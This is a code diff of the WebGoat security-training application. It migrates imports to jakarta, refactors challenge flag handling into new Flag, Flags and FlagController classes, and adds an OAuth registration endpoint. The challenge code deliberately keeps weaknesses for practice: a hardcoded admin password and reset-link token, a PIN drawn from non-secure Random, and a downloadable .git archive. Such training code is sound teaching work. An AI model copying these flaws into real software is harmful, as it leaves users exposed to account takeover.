 import java.lang.reflect.Method;
 import java.sql.Connection;
-import lombok.extern.slf4j.Slf4j;
 import org.owasp.webgoat.container.users.WebGoatUser;
 import org.springframework.security.core.context.SecurityContextHolder;
 
 /**
  * Handler which sets the correct schema for the currently bounded user. This way users are not
- * seeing each other data and we can reset data for just one particular user.
+ * seeing each other data, and we can reset data for just one particular user.
  */
-@Slf4j
 public class LessonConnectionInvocationHandler implements InvocationHandler {
 
   private final Connection targetConnection;

src/main/java/org/owasp/webgoat/container/session/WebSession.java

@@ -3,7 +3,6 @@ package org.owasp.webgoat.container.session;
 import java.io.Serializable;
 import org.owasp.webgoat.container.lessons.Lesson;
 import org.owasp.webgoat.container.users.WebGoatUser;
-import org.springframework.security.core.context.SecurityContextHolder;
 
 /**
  * *************************************************************************************************
@@ -40,13 +39,12 @@ import org.springframework.security.core.context.SecurityContextHolder;
 public class WebSession implements Serializable {
 
   private static final long serialVersionUID = -4270066103101711560L;
-  private final WebGoatUser currentUser;
+  private WebGoatUser currentUser;
   private transient Lesson currentLesson;
   private boolean securityEnabled;
 
-  public WebSession() {
+  public WebSession(WebGoatUser webGoatUser) {
-    this.currentUser =
+    this.currentUser = webGoatUser;
-        (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
   }
 
   /**

src/main/java/org/owasp/webgoat/container/users/LessonTracker.java

@@ -1,8 +1,20 @@
 package org.owasp.webgoat.container.users;
 
-import java.util.*;
+import jakarta.persistence.CascadeType;
+import jakarta.persistence.Entity;
+import jakarta.persistence.FetchType;
+import jakarta.persistence.GeneratedValue;
+import jakarta.persistence.GenerationType;
+import jakarta.persistence.Id;
+import jakarta.persistence.OneToMany;
+import jakarta.persistence.Version;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Optional;
+import java.util.Set;
 import java.util.stream.Collectors;
-import javax.persistence.*;
+import lombok.EqualsAndHashCode;
 import lombok.Getter;
 import org.owasp.webgoat.container.lessons.Assignment;
 import org.owasp.webgoat.container.lessons.Lesson;
@@ -39,10 +51,11 @@ import org.owasp.webgoat.container.lessons.Lesson;
  * @since October 29, 2003
  */
 @Entity
+@EqualsAndHashCode
 public class LessonTracker {
 
   @Id
-  @GeneratedValue(strategy = GenerationType.AUTO)
+  @GeneratedValue(strategy = GenerationType.IDENTITY)
   private Long id;
 
   @Getter private String lessonName;

src/main/java/org/owasp/webgoat/container/users/RegistrationController.java

@@ -1,11 +1,12 @@
 package org.owasp.webgoat.container.users;
 
-import javax.servlet.ServletException;
+import jakarta.servlet.ServletException;
-import javax.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletRequest;
-import javax.validation.Valid;
+import jakarta.validation.Valid;
+import java.util.UUID;
 import lombok.AllArgsConstructor;
 import lombok.extern.slf4j.Slf4j;
-import org.springframework.security.authentication.AuthenticationManager;
+import org.springframework.security.core.Authentication;
 import org.springframework.stereotype.Controller;
 import org.springframework.validation.BindingResult;
 import org.springframework.web.bind.annotation.GetMapping;
@@ -23,7 +24,6 @@ public class RegistrationController {
 
   private UserValidator userValidator;
   private UserService userService;
-  private AuthenticationManager authenticationManager;
 
   @GetMapping("/registration")
   public String showForm(UserForm userForm) {
@@ -46,4 +46,12 @@ public class RegistrationController {
 
     return "redirect:/attack";
   }
+
+  @GetMapping("/login-oauth.mvc")
+  public String registrationOAUTH(Authentication authentication, HttpServletRequest request)
+      throws ServletException {
+    log.info("register oauth user in database");
+    userService.addUser(authentication.getName(), UUID.randomUUID().toString());
+    return "redirect:/welcome.mvc";
+  }
 }

src/main/java/org/owasp/webgoat/container/users/Scoreboard.java

@@ -1,8 +1,8 @@
 package org.owasp.webgoat.container.users;
 
-import java.util.ArrayList;
 import java.util.List;
 import java.util.Optional;
+import java.util.stream.Collectors;
 import lombok.AllArgsConstructor;
 import lombok.Getter;
 import org.owasp.webgoat.container.i18n.PluginMessages;
@@ -35,19 +35,15 @@ public class Scoreboard {
 
   @GetMapping("/scoreboard-data")
   public List<Ranking> getRankings() {
-    List<WebGoatUser> allUsers = userRepository.findAll();
+    return userRepository.findAll().stream()
-    List<Ranking> rankings = new ArrayList<>();
+        .filter(user -> !user.getUsername().startsWith("csrf-"))
-    for (WebGoatUser user : allUsers) {
+        .map(
-      if (user.getUsername().startsWith("csrf-")) {
+            user ->
-        // the csrf- assignment specific users do not need to be in the overview
+                new Ranking(
-        continue;
+                    user.getUsername(),
-      }
+                    challengesSolved(userTrackerRepository.findByUser(user.getUsername()))))
-      UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername());
+        .sorted((o1, o2) -> o2.getFlagsCaptured().size() - o1.getFlagsCaptured().size())
-      rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker)));
+        .collect(Collectors.toList());
-    }
-    /* sort on number of captured flags to present an ordered ranking */
-    rankings.sort((o1, o2) -> o2.getFlagsCaptured().size() - o1.getFlagsCaptured().size());
-    return rankings;
   }
 
   private List<String> challengesSolved(UserTracker userTracker) {

src/main/java/org/owasp/webgoat/container/users/UserForm.java

@@ -1,8 +1,8 @@
 package org.owasp.webgoat.container.users;
 
-import javax.validation.constraints.NotNull;
+import jakarta.validation.constraints.NotNull;
-import javax.validation.constraints.Pattern;
+import jakarta.validation.constraints.Pattern;
-import javax.validation.constraints.Size;
+import jakarta.validation.constraints.Size;
 import lombok.Getter;
 import lombok.Setter;
 

src/main/java/org/owasp/webgoat/container/users/UserTracker.java

@@ -1,11 +1,19 @@
 package org.owasp.webgoat.container.users;
 
+import jakarta.persistence.CascadeType;
+import jakarta.persistence.Column;
+import jakarta.persistence.Entity;
+import jakarta.persistence.FetchType;
+import jakarta.persistence.GeneratedValue;
+import jakarta.persistence.GenerationType;
+import jakarta.persistence.Id;
+import jakarta.persistence.OneToMany;
 import java.util.HashSet;
 import java.util.Map;
 import java.util.Optional;
 import java.util.Set;
 import java.util.stream.Collectors;
-import javax.persistence.*;
+import lombok.EqualsAndHashCode;
 import lombok.extern.slf4j.Slf4j;
 import org.owasp.webgoat.container.lessons.Assignment;
 import org.owasp.webgoat.container.lessons.Lesson;
@@ -43,10 +51,11 @@ import org.owasp.webgoat.container.lessons.Lesson;
  */
 @Slf4j
 @Entity
+@EqualsAndHashCode
 public class UserTracker {
 
   @Id
-  @GeneratedValue(strategy = GenerationType.AUTO)
+  @GeneratedValue(strategy = GenerationType.IDENTITY)
   private Long id;
 
   @Column(name = "username")

src/main/java/org/owasp/webgoat/container/users/WebGoatUser.java

@@ -1,10 +1,10 @@
 package org.owasp.webgoat.container.users;
 
+import jakarta.persistence.Entity;
+import jakarta.persistence.Id;
+import jakarta.persistence.Transient;
 import java.util.Collection;
 import java.util.Collections;
-import javax.persistence.Entity;
-import javax.persistence.Id;
-import javax.persistence.Transient;
 import lombok.Getter;
 import org.springframework.security.core.GrantedAuthority;
 import org.springframework.security.core.authority.SimpleGrantedAuthority;

src/main/java/org/owasp/webgoat/lessons/authbypass/AccountVerificationHelper.java

@@ -42,6 +42,7 @@ public class AccountVerificationHelper {
   static {
     secQuestionStore.put(verifyUserId, userSecQuestions);
   }
+
   // end 'data store set up'
 
   // this is to aid feedback in the attack process and is not intended to be part of the
@@ -68,6 +69,7 @@ public class AccountVerificationHelper {
 
     return likely;
   }
+
   // end of cheating check ... the method below is the one of real interest. Can you find the flaw?
 
   public boolean verifyAccount(Integer userId, HashMap<String, String> submittedQuestions) {

src/main/java/org/owasp/webgoat/lessons/authbypass/VerifyAccount.java

@@ -22,13 +22,13 @@
 
 package org.owasp.webgoat.lessons.authbypass;
 
+import jakarta.servlet.ServletException;
+import jakarta.servlet.http.HttpServletRequest;
 import java.io.IOException;
 import java.util.Collections;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
-import javax.servlet.ServletException;
-import javax.servlet.http.HttpServletRequest;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AssignmentHints;
 import org.owasp.webgoat.container.assignments.AttackResult;

src/main/java/org/owasp/webgoat/lessons/challenges/Flag.java

@@ -1,89 +1,13 @@
-/*
- * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
- *
- * Copyright (c) 2002 - 2019 Bruce Mayhew
- *
- * This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
- * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- * General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * Getting Source ==============
- *
- * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
- */
-
 package org.owasp.webgoat.lessons.challenges;
 
-import java.util.HashMap;
+public record Flag(int number, String answer) {
-import java.util.Map;
-import java.util.UUID;
-import java.util.stream.IntStream;
-import javax.annotation.PostConstruct;
-import lombok.AllArgsConstructor;
-import lombok.Getter;
-import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
-import org.owasp.webgoat.container.assignments.AttackResult;
-import org.owasp.webgoat.container.session.WebSession;
-import org.owasp.webgoat.container.users.UserTracker;
-import org.owasp.webgoat.container.users.UserTrackerRepository;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.http.MediaType;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.RequestMethod;
-import org.springframework.web.bind.annotation.RequestParam;
-import org.springframework.web.bind.annotation.ResponseBody;
-import org.springframework.web.bind.annotation.RestController;
 
-/**
+  public boolean isCorrect(String flag) {
- * @author nbaars
+    return answer.equals(flag);
- * @since 3/23/17.
- */
-@RestController
-public class Flag extends AssignmentEndpoint {
-
-  public static final Map<Integer, String> FLAGS = new HashMap<>();
-  @Autowired private UserTrackerRepository userTrackerRepository;
-  @Autowired private WebSession webSession;
-
-  @AllArgsConstructor
-  private class FlagPosted {
-    @Getter private boolean lessonCompleted;
   }
 
-  @PostConstruct
+  @Override
-  public void initFlags() {
+  public String toString() {
-    IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString()));
+    return answer;
-  }
-
-  @RequestMapping(
-      path = "/challenge/flag",
-      method = RequestMethod.POST,
-      produces = MediaType.APPLICATION_JSON_VALUE)
-  @ResponseBody
-  public AttackResult postFlag(@RequestParam String flag) {
-    UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
-    String currentChallenge = webSession.getCurrentLesson().getName();
-    int challengeNumber =
-        Integer.valueOf(
-            currentChallenge.substring(currentChallenge.length() - 1, currentChallenge.length()));
-    String expectedFlag = FLAGS.get(challengeNumber);
-    final AttackResult attackResult;
-    if (expectedFlag.equals(flag)) {
-      userTracker.assignmentSolved(webSession.getCurrentLesson(), "Assignment" + challengeNumber);
-      attackResult = success(this).feedback("challenge.flag.correct").build();
-    } else {
-      userTracker.assignmentFailed(webSession.getCurrentLesson());
-      attackResult = failed(this).feedback("challenge.flag.incorrect").build();
-    }
-    userTrackerRepository.save(userTracker);
-    return attackResult;
   }
 }

src/main/java/org/owasp/webgoat/lessons/challenges/FlagController.java

@@ -0,0 +1,52 @@
+/*
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
+ *
+ * Copyright (c) 2002 - 2019 Bruce Mayhew
+ *
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * Getting Source ==============
+ *
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
+ */
+
+package org.owasp.webgoat.lessons.challenges;
+
+import lombok.AllArgsConstructor;
+import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
+import org.owasp.webgoat.container.assignments.AttackResult;
+import org.owasp.webgoat.container.session.WebSession;
+import org.springframework.http.MediaType;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestParam;
+import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
+
+@RestController
+@AllArgsConstructor
+public class FlagController extends AssignmentEndpoint {
+
+  private final WebSession webSession;
+  private final Flags flags;
+
+  @PostMapping(path = "/challenge/flag", produces = MediaType.APPLICATION_JSON_VALUE)
+  @ResponseBody
+  public AttackResult postFlag(@RequestParam String flag) {
+    Flag expectedFlag = flags.getFlag(webSession.getCurrentLesson());
+    if (expectedFlag.isCorrect(flag)) {
+      return success(this).feedback("challenge.flag.correct").build();
+    } else {
+      return failed(this).feedback("challenge.flag.incorrect").build();
+    }
+  }
+}

src/main/java/org/owasp/webgoat/lessons/challenges/Flags.java

@@ -0,0 +1,27 @@
+package org.owasp.webgoat.lessons.challenges;
+
+import java.util.HashMap;
+import java.util.Map;
+import java.util.UUID;
+import java.util.stream.IntStream;
+import org.owasp.webgoat.container.lessons.Lesson;
+import org.springframework.context.annotation.Configuration;
+
+@Configuration
+public class Flags {
+  private final Map<Integer, Flag> FLAGS = new HashMap<>();
+
+  public Flags() {
+    IntStream.range(1, 10).forEach(i -> FLAGS.put(i, new Flag(i, UUID.randomUUID().toString())));
+  }
+
+  public Flag getFlag(Lesson forLesson) {
+    String lessonName = forLesson.getName();
+    int challengeNumber = Integer.valueOf(lessonName.substring(lessonName.length() - 1));
+    return FLAGS.get(challengeNumber);
+  }
+
+  public Flag getFlag(int flagNumber) {
+    return FLAGS.get(flagNumber);
+  }
+}

src/main/java/org/owasp/webgoat/lessons/challenges/SolutionConstants.java

@@ -32,6 +32,4 @@ public interface SolutionConstants {
 
   // TODO should be random generated when starting the server
   String PASSWORD = "!!webgoat_admin_1234!!";
-  String PASSWORD_TOM = "thisisasecretfortomonly";
-  String ADMIN_PASSWORD_LINK = "375afe1104f4a487a73823c50a9292a2";
 }

src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/Assignment1.java

@@ -2,11 +2,10 @@ package org.owasp.webgoat.lessons.challenges.challenge1;
 
 import static org.owasp.webgoat.lessons.challenges.SolutionConstants.PASSWORD;
 
-import javax.servlet.http.HttpServletRequest;
+import lombok.RequiredArgsConstructor;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AttackResult;
-import org.owasp.webgoat.lessons.challenges.Flag;
+import org.owasp.webgoat.lessons.challenges.Flags;
-import org.springframework.util.StringUtils;
 import org.springframework.web.bind.annotation.PostMapping;
 import org.springframework.web.bind.annotation.RequestParam;
 import org.springframework.web.bind.annotation.ResponseBody;
@@ -43,12 +42,14 @@ import org.springframework.web.bind.annotation.RestController;
  * @since August 11, 2016
  */
 @RestController
+@RequiredArgsConstructor
 public class Assignment1 extends AssignmentEndpoint {
 
+  private final Flags flags;
+
   @PostMapping("/challenge/1")
   @ResponseBody
-  public AttackResult completed(
+  public AttackResult completed(@RequestParam String username, @RequestParam String password) {
-      @RequestParam String username, @RequestParam String password, HttpServletRequest request) {
     boolean ipAddressKnown = true;
     boolean passwordCorrect =
         "admin".equals(username)
@@ -56,14 +57,10 @@ public class Assignment1 extends AssignmentEndpoint {
                 .replace("1234", String.format("%04d", ImageServlet.PINCODE))
                 .equals(password);
     if (passwordCorrect && ipAddressKnown) {
-      return success(this).feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(1)).build();
+      return success(this).feedback("challenge.solved").feedbackArgs(flags.getFlag(1)).build();
     } else if (passwordCorrect) {
       return failed(this).feedback("ip.address.unknown").build();
     }
     return failed(this).build();
   }
-
-  public static boolean containsHeader(HttpServletRequest request) {
-    return StringUtils.hasText(request.getHeader("X-Forwarded-For"));
-  }
 }

src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/ImageServlet.java

@@ -4,8 +4,7 @@ import static org.springframework.web.bind.annotation.RequestMethod.GET;
 import static org.springframework.web.bind.annotation.RequestMethod.POST;
 
 import java.io.IOException;
-import java.security.SecureRandom;
+import java.util.Random;
-import javax.servlet.http.HttpServlet;
 import org.springframework.core.io.ClassPathResource;
 import org.springframework.http.MediaType;
 import org.springframework.web.bind.annotation.RequestMapping;
@@ -13,10 +12,9 @@ import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.bind.annotation.RestController;
 
 @RestController
-public class ImageServlet extends HttpServlet {
+public class ImageServlet {
 
-  private static final long serialVersionUID = 9132775506936676850L;
+  public static final int PINCODE = new Random().nextInt(10000);
-  public static final int PINCODE = new SecureRandom().nextInt(10000);
 
   @RequestMapping(
       method = {GET, POST},

src/main/java/org/owasp/webgoat/lessons/challenges/challenge5/Assignment5.java

@@ -24,11 +24,12 @@ package org.owasp.webgoat.lessons.challenges.challenge5;
 
 import java.sql.PreparedStatement;
 import java.sql.ResultSet;
+import lombok.RequiredArgsConstructor;
 import lombok.extern.slf4j.Slf4j;
 import org.owasp.webgoat.container.LessonDataSource;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AttackResult;
-import org.owasp.webgoat.lessons.challenges.Flag;
+import org.owasp.webgoat.lessons.challenges.Flags;
 import org.springframework.util.StringUtils;
 import org.springframework.web.bind.annotation.PostMapping;
 import org.springframework.web.bind.annotation.RequestParam;
@@ -37,13 +38,11 @@ import org.springframework.web.bind.annotation.RestController;
 
 @RestController
 @Slf4j
+@RequiredArgsConstructor
 public class Assignment5 extends AssignmentEndpoint {
 
   private final LessonDataSource dataSource;
-
+  private final Flags flags;
-  public Assignment5(LessonDataSource dataSource) {
-    this.dataSource = dataSource;
-  }
 
   @PostMapping("/challenge/5")
   @ResponseBody
@@ -66,7 +65,7 @@ public class Assignment5 extends AssignmentEndpoint {
       ResultSet resultSet = statement.executeQuery();
 
       if (resultSet.next()) {
-        return success(this).feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(5)).build();
+        return success(this).feedback("challenge.solved").feedbackArgs(flags.getFlag(5)).build();
       } else {
         return failed(this).feedback("challenge.close").build();
       }

src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/Assignment7.java

@@ -1,16 +1,14 @@
 package org.owasp.webgoat.lessons.challenges.challenge7;
 
+import jakarta.servlet.http.HttpServletRequest;
 import java.net.URI;
 import java.net.URISyntaxException;
 import java.time.LocalDateTime;
-import javax.servlet.http.HttpServletRequest;
 import lombok.extern.slf4j.Slf4j;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AttackResult;
 import org.owasp.webgoat.lessons.challenges.Email;
-import org.owasp.webgoat.lessons.challenges.Flag;
+import org.owasp.webgoat.lessons.challenges.Flags;
-import org.owasp.webgoat.lessons.challenges.SolutionConstants;
-import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.beans.factory.annotation.Value;
 import org.springframework.core.io.ClassPathResource;
 import org.springframework.http.HttpStatus;
@@ -33,6 +31,8 @@ import org.springframework.web.client.RestTemplate;
 @Slf4j
 public class Assignment7 extends AssignmentEndpoint {
 
+  public static final String ADMIN_PASSWORD_LINK = "375afe1104f4a487a73823c50a9292a2";
+
   private static final String TEMPLATE =
       "Hi, you requested a password reset link, please use this <a target='_blank'"
           + " href='%s:8080/WebGoat/challenge/7/reset-password/%s'>link</a> to reset your"
@@ -44,22 +44,26 @@ public class Assignment7 extends AssignmentEndpoint {
           + "Kind regards, \n"
           + "Team WebGoat";
 
-  @Autowired private RestTemplate restTemplate;
+  private final Flags flags;
+  private final RestTemplate restTemplate;
+  private final String webWolfMailURL;
 
-  @Value("${webwolf.mail.url}")
+  public Assignment7(
-  private String webWolfMailURL;
+      Flags flags, RestTemplate restTemplate, @Value("${webwolf.mail.url}") String webWolfMailURL) {
+    this.flags = flags;
+    this.restTemplate = restTemplate;
+    this.webWolfMailURL = webWolfMailURL;
+  }
 
   @GetMapping("/challenge/7/reset-password/{link}")
   public ResponseEntity<String> resetPassword(@PathVariable(value = "link") String link) {
-    if (link.equals(SolutionConstants.ADMIN_PASSWORD_LINK)) {
+    if (link.equals(ADMIN_PASSWORD_LINK)) {
       return ResponseEntity.accepted()
           .body(
               "<h1>Success!!</h1>"
                   + "<img src='/WebGoat/images/hi-five-cat.jpg'>"
                   + "<br/><br/>Here is your flag: "
-                  + "<b>"
+                  + flags.getFlag(7));
-                  + Flag.FLAGS.get(7)
-                  + "</b>");
     }
     return ResponseEntity.status(HttpStatus.I_AM_A_TEAPOT)
         .body("That is not the reset link for admin");
@@ -94,6 +98,6 @@ public class Assignment7 extends AssignmentEndpoint {
   @GetMapping(value = "/challenge/7/.git", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
   @ResponseBody
   public ClassPathResource git() {
-    return new ClassPathResource("challenge7/git.zip");
+    return new ClassPathResource("lessons/challenges/challenge7/git.zip");
   }
 }

src/main/java/org/owasp/webgoat/lessons/challenges/challenge8/Assignment8.java

@@ -1,13 +1,14 @@
 package org.owasp.webgoat.lessons.challenges.challenge8;
 
+import jakarta.servlet.http.HttpServletRequest;
 import java.util.HashMap;
 import java.util.Map;
 import java.util.stream.Collectors;
-import javax.servlet.http.HttpServletRequest;
+import lombok.RequiredArgsConstructor;
 import lombok.extern.slf4j.Slf4j;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AttackResult;
-import org.owasp.webgoat.lessons.challenges.Flag;
+import org.owasp.webgoat.lessons.challenges.Flags;
 import org.springframework.http.MediaType;
 import org.springframework.http.ResponseEntity;
 import org.springframework.web.bind.annotation.GetMapping;
@@ -15,12 +16,9 @@ import org.springframework.web.bind.annotation.PathVariable;
 import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.bind.annotation.RestController;
 
-/**
- * @author nbaars
- * @since 4/8/17.
- */
 @RestController
 @Slf4j
+@RequiredArgsConstructor
 public class Assignment8 extends AssignmentEndpoint {
 
   private static final Map<Integer, Integer> votes = new HashMap<>();
@@ -33,6 +31,8 @@ public class Assignment8 extends AssignmentEndpoint {
     votes.put(5, 300);
   }
 
+  private final Flags flags;
+
   @GetMapping(value = "/challenge/8/vote/{stars}", produces = MediaType.APPLICATION_JSON_VALUE)
   @ResponseBody
   public ResponseEntity<?> vote(
@@ -47,7 +47,7 @@ public class Assignment8 extends AssignmentEndpoint {
     Integer allVotesForStar = votes.getOrDefault(nrOfStars, 0);
     votes.put(nrOfStars, allVotesForStar + 1);
     return ResponseEntity.ok()
-        .header("X-Flag", "Thanks for voting, your flag is: " + Flag.FLAGS.get(8))
+        .header("X-FlagController", "Thanks for voting, your flag is: " + flags.getFlag(8))
         .build();
   }
 

src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/Salaries.java

@@ -22,6 +22,7 @@
 
 package org.owasp.webgoat.lessons.clientsidefiltering;
 
+import jakarta.annotation.PostConstruct;
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.FileOutputStream;
@@ -31,7 +32,6 @@ import java.util.ArrayList;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
-import javax.annotation.PostConstruct;
 import javax.xml.xpath.XPath;
 import javax.xml.xpath.XPathConstants;
 import javax.xml.xpath.XPathExpressionException;

src/main/java/org/owasp/webgoat/lessons/cryptography/EncodingAssignment.java

@@ -22,9 +22,9 @@
 
 package org.owasp.webgoat.lessons.cryptography;
 
+import jakarta.servlet.http.HttpServletRequest;
 import java.util.Base64;
 import java.util.Random;
-import javax.servlet.http.HttpServletRequest;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AttackResult;
 import org.springframework.http.MediaType;

src/main/java/org/owasp/webgoat/lessons/cryptography/HashingAssignment.java

@@ -22,10 +22,10 @@
 
 package org.owasp.webgoat.lessons.cryptography;
 
+import jakarta.servlet.http.HttpServletRequest;
 import java.security.MessageDigest;
 import java.security.NoSuchAlgorithmException;
 import java.util.Random;
-import javax.servlet.http.HttpServletRequest;
 import javax.xml.bind.DatatypeConverter;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AssignmentHints;

src/main/java/org/owasp/webgoat/lessons/cryptography/SigningAssignment.java

@@ -22,11 +22,11 @@
 
 package org.owasp.webgoat.lessons.cryptography;
 
+import jakarta.servlet.http.HttpServletRequest;
 import java.security.InvalidAlgorithmParameterException;
 import java.security.KeyPair;
 import java.security.NoSuchAlgorithmException;
 import java.security.interfaces.RSAPublicKey;
-import javax.servlet.http.HttpServletRequest;
 import javax.xml.bind.DatatypeConverter;
 import lombok.extern.slf4j.Slf4j;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;

src/main/java/org/owasp/webgoat/lessons/csrf/CSRFFeedback.java

@@ -24,11 +24,11 @@ package org.owasp.webgoat.lessons.csrf;
 
 import com.fasterxml.jackson.databind.DeserializationFeature;
 import com.fasterxml.jackson.databind.ObjectMapper;
+import jakarta.servlet.http.Cookie;
+import jakarta.servlet.http.HttpServletRequest;
 import java.io.IOException;
 import java.util.Map;
 import java.util.UUID;
-import javax.servlet.http.Cookie;
-import javax.servlet.http.HttpServletRequest;
 import org.apache.commons.lang3.exception.ExceptionUtils;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AssignmentHints;

src/main/java/org/owasp/webgoat/lessons/csrf/CSRFGetFlag.java

@@ -22,10 +22,10 @@
 
 package org.owasp.webgoat.lessons.csrf;
 
+import jakarta.servlet.http.HttpServletRequest;
 import java.util.HashMap;
 import java.util.Map;
 import java.util.Random;
-import javax.servlet.http.HttpServletRequest;
 import org.owasp.webgoat.container.i18n.PluginMessages;
 import org.owasp.webgoat.container.session.UserSessionData;
 import org.springframework.beans.factory.annotation.Autowired;

src/main/java/org/owasp/webgoat/lessons/csrf/CSRFLogin.java

@@ -22,7 +22,7 @@
 
 package org.owasp.webgoat.lessons.csrf;
 
-import javax.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletRequest;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AssignmentHints;
 import org.owasp.webgoat.container.assignments.AttackResult;

src/main/java/org/owasp/webgoat/lessons/csrf/ForgedReviews.java

@@ -25,6 +25,7 @@ package org.owasp.webgoat.lessons.csrf;
 import static org.springframework.http.MediaType.ALL_VALUE;
 
 import com.google.common.collect.Lists;
+import jakarta.servlet.http.HttpServletRequest;
 import java.time.LocalDateTime;
 import java.time.format.DateTimeFormatter;
 import java.util.ArrayList;
@@ -32,7 +33,6 @@ import java.util.Collection;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
-import javax.servlet.http.HttpServletRequest;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AssignmentHints;
 import org.owasp.webgoat.container.assignments.AttackResult;

src/main/java/org/owasp/webgoat/lessons/hijacksession/HijackSessionAssignment.java

@@ -22,8 +22,8 @@
 
 package org.owasp.webgoat.lessons.hijacksession;
 
-import javax.servlet.http.Cookie;
+import jakarta.servlet.http.Cookie;
-import javax.servlet.http.HttpServletResponse;
+import jakarta.servlet.http.HttpServletResponse;
 import org.apache.commons.lang3.StringUtils;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AssignmentHints;

src/main/java/org/owasp/webgoat/lessons/httpproxies/HttpBasicsInterceptRequest.java

@@ -22,7 +22,7 @@
 
 package org.owasp.webgoat.lessons.httpproxies;
 
-import javax.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletRequest;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AttackResult;
 import org.springframework.http.HttpMethod;

src/main/java/org/owasp/webgoat/lessons/idor/IDORDiffAttributes.java

@@ -15,7 +15,8 @@
  * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
  * 02111-1307, USA.
  *
- * Getting Source ==============
+ * Getting Source
+ * ==============
  *
  * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
  */

src/main/java/org/owasp/webgoat/lessons/idor/IDOREditOtherProfile.java

@@ -15,7 +15,8 @@
  * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
  * 02111-1307, USA.
  *
- * Getting Source ==============
+ * Getting Source
+ * ==============
  *
  * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
  */
@@ -45,7 +46,7 @@ import org.springframework.web.bind.annotation.RestController;
   "idor.hints.otherProfile8",
   "idor.hints.otherProfile9"
 })
-public class IDOREditOtherProfiile extends AssignmentEndpoint {
+public class IDOREditOtherProfile extends AssignmentEndpoint {
 
   @Autowired private UserSessionData userSessionData;
 
@@ -69,7 +70,7 @@ public class IDOREditOtherProfiile extends AssignmentEndpoint {
       // we will persist in the session object for now in case we want to refer back or use it later
       userSessionData.setValue("idor-updated-other-profile", currentUserProfile);
       if (currentUserProfile.getRole() <= 1
-          && currentUserProfile.getColor().toLowerCase().equals("red")) {
+          && currentUserProfile.getColor().equalsIgnoreCase("red")) {
         return success(this)
             .feedback("idor.edit.profile.success1")
             .output(currentUserProfile.profileToMap().toString())
